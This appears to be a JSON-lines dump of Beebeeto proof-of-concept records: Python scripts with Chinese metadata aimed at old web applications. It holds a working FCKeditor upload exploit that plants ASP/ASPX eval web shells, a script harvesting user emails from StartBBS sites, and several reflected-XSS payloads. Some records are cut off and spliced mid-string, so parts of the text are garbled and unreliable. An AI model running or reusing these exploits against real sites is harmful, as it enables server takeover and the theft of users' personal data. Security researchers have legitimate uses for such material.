"#!/usr/bin/env python\r\n# coding:utf-8\r\n\r\n\r\nimport re\r\nimport socket\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc' : {\r\n 'id' : 'poc-2015-0031',\r\n 'name' : 'FCKeditor <= 2.4.3 /upload.asp File Upload POC & Exploit',\r\n 'author' : 'r0gent',\r\n 'create_date' : '2015-02-04',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol' : {\r\n 'name' : 'http',\r\n 'port' : [80],\r\n 'layer4_protocol' : ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul' : {\r\n 'app_name' : 'FCKeditor', # \u6f0f\u6d1e\u6240\u6d89\u53ca\u7684\u5e94\u7528\u540d\u79f0\r\n 'vul_version' : ['<=2.4.3'], # \u53d7\u6f0f\u6d1e\u5f71\u54cd\u7684\u5e94\u7528\u7248\u672c\r\n 'type': 'File Upload', # \u6f0f\u6d1e\u7c7b\u578b\r\n 'tag': ['FCKeditor\u6f0f\u6d1e', 'FCK\u7f16\u8f91\u5668\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e', 'asp', 'php', 'aspx'], # \u6f0f\u6d1e\u76f8\u5173tag\r\n 'desc': 'fckeditor <= 2.4.3\u7248\u672c, upload.asp\u6587\u4ef6\u4e3a\u9ed1\u540d\u5355\u8fc7\u6ee4, \u53ef\u7ed5\u8fc7\u4e0a\u4f20', # \u6f0f\u6d1e\u63cf\u8ff0\r\n 'references': ['',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n host = args['options']['target'] + args['options']['path']\r\n version_number = cls.get_version(host)\r\n\r\n if version_number <= '2.4.3':\r\n args['success'] = True\r\n args['poc_ret']['reason'] = '\u6b64\u7248\u672c\u4e3a' + str(version_number) + '\u7b26\u5408\u6f0f\u6d1e\u5229\u7528'\r\n return args\r\n else:\r\n args['success'] = False\r\n return args\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n url = args['options']['target']\r\n Path = args['options']['path']\r\n host = url + Path\r\n if url.startswith('http://'):\r\n url_noheader = url[7:]\r\n\r\n for script_type in ['asp', 'aspx', 'php']:\r\n if script_type == 'asp':\r\n shell_name = 'css3.cer'\r\n shell_content = '<%eval request(\"Bee\")%>'\r\n path = host + 'editor/filemanager/upload/asp/upload.asp'\r\n elif script_type == 'aspx':\r\n shell_name = 'css3.aspx '\r\n shell_content = '<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"Bee\"],\"unsafe\");%>'\r\n path = host + 'editor/filemanager/upload/aspx/upload.aspx'\r\n elif script_type == 'php':\r\n shell_name = 'css3.php '\r\n path = host + 'editor/filemanager/upload/php/upload.php'\r\n shell_content = ''\r\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n s.connect((url_noheader, 80))\r\n s.settimeout(8)\r\n\r\n payload = '-----------------------------20537215486483\\r\\n'\r\n payload += 'Content-Disposition: form-data; name=\"NewFile\"; filename=\"%s\"\\r\\n' % (shell_name)\r\n payload += 'Content-Type: image/jpeg\\r\\n\\r\\n'\r\n payload += 'GIF89a\\r\\n'\r\n payload +='%s\\r\\n\\r\\n\\r\\n' % (shell_content)\r\n payload += '-----------------------------20537215486483--\\r\\n'\r\n payload_length = len(payload)\r\n\r\n packet = 'POST ' + path + ' HTTP/1.1\\r\\n'\r\n packet += 'HOST: ' + url_noheader + '\\r\\n'\r\n packet += 'Connection: Close\\r\\n'\r\n packet += 'Content-Type: multipart/form-data; boundary=---------------------------20537215486483\\r\\n'\r\n packet += 'Content-Length: %d' % payload_length+'\\r\\n'\r\n packet += '\\r\\n'\r\n packet = packet + payload\r\n\r\n s.send(packet)\r\n data = ''\r\n while True:\r\n buf = s.recv(1024)\r\n if not buf:\r\n break\r\n data += buf\r\n s.close()\r\n re_shellurl = re.compile('OnUploadCompleted\\(.+\\)')\r\n shellurl = re_shellurl.findall(data)[0]\r\n shellurl = re.findall('../(\\w.+?)\"', shellurl)\r\n if len(shellurl) > 0:\r\n break\r\n if len(shellurl)>0:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = url + '/' + shellurl[0]\r\n return args\r\n else:\r\n args['success'] = False\r\n print '[-]Sorry i faild with Old version exp --- <<' + script_type + '>>'\r\n return args\r\n\r\n @classmethod\r\n def get_version(cls, fck_url):\r\n try:\r\n url_dic = dict()\r\n version_url = fck_url + '/editor/dialog/fck_about.html'\r\n print version_url\r\n version_resp = urllib2.urlopen(version_url).read()\r\n re_version = re.compile('(\\d\\.\\d[\\.\\d]*).{0,10}<\\/b>')\r\n parr = re_version.findall(version_resp)\r\n print '[+]The fck version is %s'%parr[0]\r\n return parr[0]\r\n except:\r\n return '8.8.8'\r\n\r\n def _init_user_parser(self):\r\n self.user_parser.add_option('-p', '--path',\r\n action = 'store', dest = 'path', default = None, help = 'please input the FCKEditor Path !')\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "fckeditor <= 2.4.3\u7248\u672c, upload.asp\u6587\u4ef6\u4e3a\u9ed1\u540d\u5355\u8fc7\u6ee4, \u53ef\u7ed5\u8fc7\u4e0a\u4f20", "app_name": "FCKeditor", "id": "poc-2015-0031", "layer4_protocol": null} +{"create_date": "2015-02-04 11:57:39", "name": "Websitebaker CMS v2.8.3 Reflecting XSS vulnerability POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "\u585e\u4e07\u94c1\u725b", "rank": 1, "port": null, "vul_type": "\u8de8\u7ad9\u6f0f\u6d1e", "tag": "Websitebaker CMS,XSS\u6f0f\u6d1e,modify.php?page_id=1,CVE-2015-0553", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0028',\r\n 'name': 'Websitebaker CMS v2.8.3 Reflecting XSS vulnerability POC',\r\n 'author': '\u585e\u4e07\u94c1\u725b',\r\n 'create_date': '2015-01-26',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Websitebaker CMS',\r\n 'vul_version': ['v2.8.3'],\r\n 'type': 'Cross-Site Scripting',\r\n 'tag': ['Websitebaker CMS', 'XSS\u6f0f\u6d1e', 'modify.php?page_id=1', 'CVE-2015-0553'],\r\n 'desc': '''\r\n \u9690\u85cf\u8868\u5355\u4e2d\u5f15\u53d1\u7684\u53cd\u5c04XSS\u6f0f\u6d1e\r\n ''',\r\n 'references': ['http://packetstormsecurity.com/files/130008/CMS-Websitebaker-2.8.3-SP3-Cross-Site-Scripting.html',\r\n ],\r\n },\r\n }\r\n\r\n \r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/admin/pages/modify.php?page_id=1%22>\r\n\r\n \u8f93\u51fa\u4e86\u7528\u6237\u7684\u90ae\u7bb1\uff0c\u4f46\u662f\u7ed9\u6ce8\u91ca\u6389\u4e86\uff0c\u6240\u4ee5\u7528\u6237\u9875\u9762\u770b\u4e0d\u5230\u3002\u3002\u67e5\u770b\u6e90\u4ee3\u7801\u5373\u53ef\r\n ''',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2014-051696',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n # GET User\r\n url = args['options']['target']\r\n index_content = urllib2.urlopen(url).read()\r\n regex_user = re.compile(r'(/user/info/\\d+)\" class=\"dark startbbs profile_link\"', re.IGNORECASE)\r\n regex_mail = re.compile(r\"\\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,4}\\b\", re.IGNORECASE)\r\n user_list = regex_user.findall(index_content)\r\n # Main\r\n if user_list:\r\n user_url = []\r\n args['poc_ret']['user_email'] = []\r\n # GET User homepage\r\n for i in user_list[-3:]:\r\n url_tmp = url + i\r\n user_url.append(url_tmp)\r\n # GET Email\r\n for i in user_url:\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + i\r\n try:\r\n content = urllib2.urlopen(i).read()\r\n except:\r\n continue\r\n mail_list = regex_mail.findall(content)\r\n # Success or False\r\n if mail_list:\r\n for mail in mail_list:\r\n args['success'] = True\r\n args['options']['target'] = user_url\r\n args['poc_ret']['user_email'].append(mail)\r\n if not args['poc_ret']['user_email']:\r\n args['success'] = False\r\n args['poc_ret'].pop('user_email')\r\n return args\r\n else:\r\n args['success'] = False\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u4ee3\u7801 /themes/default/userinfo.php\u5728\u7b2c86\u884c\u6709\u8fd9\u6837\u4e00\u53e5\uff1a\r\n

\r\n\r\n\u8f93\u51fa\u4e86\u7528\u6237\u7684\u90ae\u7bb1\uff0c\u4f46\u662f\u7ed9\u6ce8\u91ca\u6389\u4e86\uff0c\u6240\u4ee5\u7528\u6237\u9875\u9762\u770b\u4e0d\u5230\u3002\u3002\u67e5\u770b\u6e90\u4ee3\u7801\u5373\u53ef", "app_name": "Startbbs", "id": "poc-2014-0192", "layer4_protocol": null} +{"create_date": "2014-12-09 23:53:01", "name": "StartBBS v1.1.3 \u7269\u7406\u8def\u5f84\u6cc4\u6f0f POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "\u5c0f\u9a6c\u7532", "rank": 1, "port": null, "vul_type": "\u4fe1\u606f\u6cc4\u6f0f", "tag": "StartBBS\u4fe1\u606f\u6cc4\u9732,StartBBS\u7206\u8def\u5f84,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2014-0191',\r\n 'name': 'StartBBS v1.1.3 \u7269\u7406\u8def\u5f84\u6cc4\u6f0f POC',\r\n 'author': '\u5c0f\u9a6c\u7532',\r\n 'create_date': '2014-12-09',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'StartBBS',\r\n 'vul_version': ['1.1.3'],\r\n 'type': 'Information Disclosure',\r\n 'tag': ['StartBBS\u4fe1\u606f\u6cc4\u9732', 'StartBBS\u7206\u8def\u5f84', 'php'],\r\n 'desc': 'http://startbbs/index.php/home/getmore/w.jsp \u968f\u610f\u6784\u9020\u4e00\u4e2a.jsp\u7206\u51fa\u6570\u636e\u5e93\u67e5\u8be2\u8bed\u53e5',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2013-045780',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n verify_url = args['options']['target'] + '/index.php/home/getmore/w.jsp'\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if 'Filename:' in content and 'You have an error in your SQL syntax' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "http://startbbs/index.php/home/getmore/w.jsp \u968f\u610f\u6784\u9020\u4e00\u4e2a.jsp\u7206\u51fa\u6570\u636e\u5e93\u67e5\u8be2\u8bed\u53e5", "app_name": "Startbbs", "id": "poc-2014-0191", "layer4_protocol": null} +{"create_date": "2014-12-09 23:25:29", "name": "CMSimple 3.54 /whizzywig/wb.php XSS\u6f0f\u6d1e POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "\u6211\u53ea\u4f1a\u6253\u8fde\u8fde\u770b", "rank": 1, "port": null, "vul_type": "\u8de8\u7ad9\u6f0f\u6d1e", "tag": "CMSimple\u6f0f\u6d1e,xss\u6f0f\u6d1e,/whizzywig/wb.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2014-0190',\r\n 'name': 'CMSimple 3.54 /whizzywig/wb.php XSS\u6f0f\u6d1e POC',\r\n 'author': '\u6211\u53ea\u4f1a\u6253\u8fde\u8fde\u770b',\r\n 'create_date': '2014-12-09',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'CMSimple',\r\n 'vul_version': ['3.54'],\r\n 'type': 'Cross Site Scripting',\r\n 'tag': ['CMSimple\u6f0f\u6d1e', 'xss\u6f0f\u6d1e', '/whizzywig/wb.php', 'php'],\r\n 'desc': '''\r\n \u6f0f\u6d1e\u6587\u4ef6\uff1aGetarticle.CMSimple\u4e0d\u6b63\u786e\u8fc7\u6ee4\u4f20\u9012\u7ed9\"/whizzywig/wb.php\"\u811a\u672c\u7684\"d\" HTTP GET\u53c2\u6570\u6570\u636e\uff0c\r\n \u5141\u8bb8\u653b\u51fb\u8005\u6784\u5efa\u6076\u610fURI\uff0c\u8bf1\u4f7f\u7528\u6237\u89e3\u6790\uff0c\u53ef\u83b7\u5f97\u654f\u611fCookie\uff0c\u52ab\u6301\u4f1a\u8bdd\u6216\u5728\u5ba2\u6237\u7aef\u4e0a\u8fdb\u884c\u6076\u610f\u64cd\u4f5c\u3002\r\n ''',\r\n 'references': ['http://sebug.net/vuldb/ssvid-61903',\r\n ],\r\n },\r\n }\r\n\r\n \r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/whizzywig/wb.php?d=%27%3E%3Cscript%3Ealert%28%27bb2%27%29%3C/script%3E'\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if '' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n \r\n exploit = verify\r\n \r\n \r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u6f0f\u6d1e\u6587\u4ef6\uff1aGetarticle.CMSimple\u4e0d\u6b63\u786e\u8fc7\u6ee4\u4f20\u9012\u7ed9\"/whizzywig/wb.php\"\u811a\u672c\u7684\"d\" HTTP GET\u53c2\u6570\u6570\u636e\uff0c\r\n\u5141\u8bb8\u653b\u51fb\u8005\u6784\u5efa\u6076\u610fURI\uff0c\u8bf1\u4f7f\u7528\u6237\u89e3\u6790\uff0c\u53ef\u83b7\u5f97\u654f\u611fCookie\uff0c\u52ab\u6301\u4f1a\u8bdd\u6216\u5728\u5ba2\u6237\u7aef\u4e0a\u8fdb\u884c\u6076\u610f\u64cd\u4f5c\u3002", "app_name": "CMSimple", "id": "poc-2014-0190", "layer4_protocol": null} +{"create_date": "2014-12-09 23:04:31", "name": "PJBlog 3.0.6.170 /Action.asp XSS\u6f0f\u6d1e POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "\u6211\u53ea\u4f1a\u6253\u8fde\u8fde\u770b", "rank": 1, "port": null, "vul_type": "\u8de8\u7ad9\u6f0f\u6d1e", "tag": "PJBlog\u6f0f\u6d1e,xss\u6f0f\u6d1e,/Action.asp,asp", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2014-0188',\r\n 'name': 'PJBlog 3.0.6.170 /Action.asp XSS\u6f0f\u6d1e POC',\r\n 'author': '\u6211\u53ea\u4f1a\u6253\u8fde\u8fde\u770b',\r\n 'create_date': '2014-12-09',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'PJBlog',\r\n 'vul_version': ['3.0.6.170'],\r\n 'type': 'Cross Site Scripting',\r\n 'tag': ['PJBlog\u6f0f\u6d1e', 'xss\u6f0f\u6d1e', '/Action.asp', 'asp'],\r\n 'desc': '\u6f0f\u6d1e\u6587\u4ef6\uff1aAction.asp',\r\n 'references': ['http://sebug.net/vuldb/ssvid-11236',\r\n ],\r\n },\r\n }\r\n\r\n \r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/Action.asp?action=type1&mainurl=xxx\">%3Cscript%3Ealert%28%22bb2%22%29%3C%2Fscript%3E'\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if '' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n \r\n exploit = verify\r\n \r\n \r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u6f0f\u6d1e\u6587\u4ef6\uff1aAction.asp", "app_name": "PJblog", "id": "poc-2014-0188", "layer4_protocol": null} +{"create_date": "2014-12-09 23:02:42", "name": "PJBlog 3.0.6.170 /Getarticle.asp XSS\u6f0f\u6d1e POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "\u6211\u53ea\u4f1a\u6253\u8fde\u8fde\u770b", "rank": 1, "port": null, "vul_type": "\u8de8\u7ad9\u6f0f\u6d1e", "tag": "PJBlog\u6f0f\u6d1e,xss\u6f0f\u6d1e,/Getarticle.asp,asp", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2014-0187',\r\n 'name': 'PJBlog 3.0.6.170 /Getarticle.asp XSS\u6f0f\u6d1e POC',\r\n 'author': '\u6211\u53ea\u4f1a\u6253\u8fde\u8fde\u770b',\r\n 'create_date': '2014-12-09',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'PJBlog',\r\n 'vul_version': ['3.0.6.170'],\r\n 'type': 'Cross Site Scripting',\r\n 'tag': ['PJBlog\u6f0f\u6d1e', 'xss\u6f0f\u6d1e', '/Getarticle.asp','asp'],\r\n 'desc': '\u6f0f\u6d1e\u6587\u4ef6\uff1aGetarticle.asp',\r\n 'references': ['http://sebug.net/vuldb/ssvid-11237',\r\n ],\r\n },\r\n }\r\n\r\n \r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/Getarticle.asp?id=1&blog_postFile=x%22%20)>%3Cscript%3Ealert%28%22bb2%22%29%3C%2Fscript%3E&page=2'\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if '' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n \r\n exploit = verify\r\n \r\n \r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u6f0f\u6d1e\u6587\u4ef6\uff1aGetarticle.asp", "app_name": "PJblog", "id": "poc-2014-0187", "layer4_protocol": null} +{"create_date": "2014-12-09 22:08:37", "name": "Zblog 1.8 /search.asp XSS\u6f0f\u6d1e POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "user1018", "rank": 1, "port": null, "vul_type": "\u8de8\u7ad9\u6f0f\u6d1e", "tag": "Zblog\u6f0f\u6d1e,XSS\u6f0f\u6d1e,/search.asp,asp", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2014-0184',\r\n 'name': 'Zblog 1.8 /search.asp XSS\u6f0f\u6d1e POC',\r\n 'author': 'user1018',\r\n 'create_date': '2014-12-09',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Zblog',\r\n 'vul_version': ['1.8'],\r\n 'type': 'Cross Site Scripting',\r\n 'tag': ['Zblog\u6f0f\u6d1e', 'XSS\u6f0f\u6d1e', '/search.asp', 'asp'],\r\n 'desc': '''\r\n search.asp\u5728\u5bf9\u7528\u6237\u63d0\u4ea4\u6570\u636e\u5904\u7406\u4e0a\u5b58\u5728\u5b89\u5168\u6f0f\u6d1e\u3002\r\n ''',\r\n 'references': ['http://sebug.net/vuldb/ssvid-19246',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/search.asp?q=%3Ciframe%20src%3D%40%20onload%3Dalert%281%29%3E'\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if '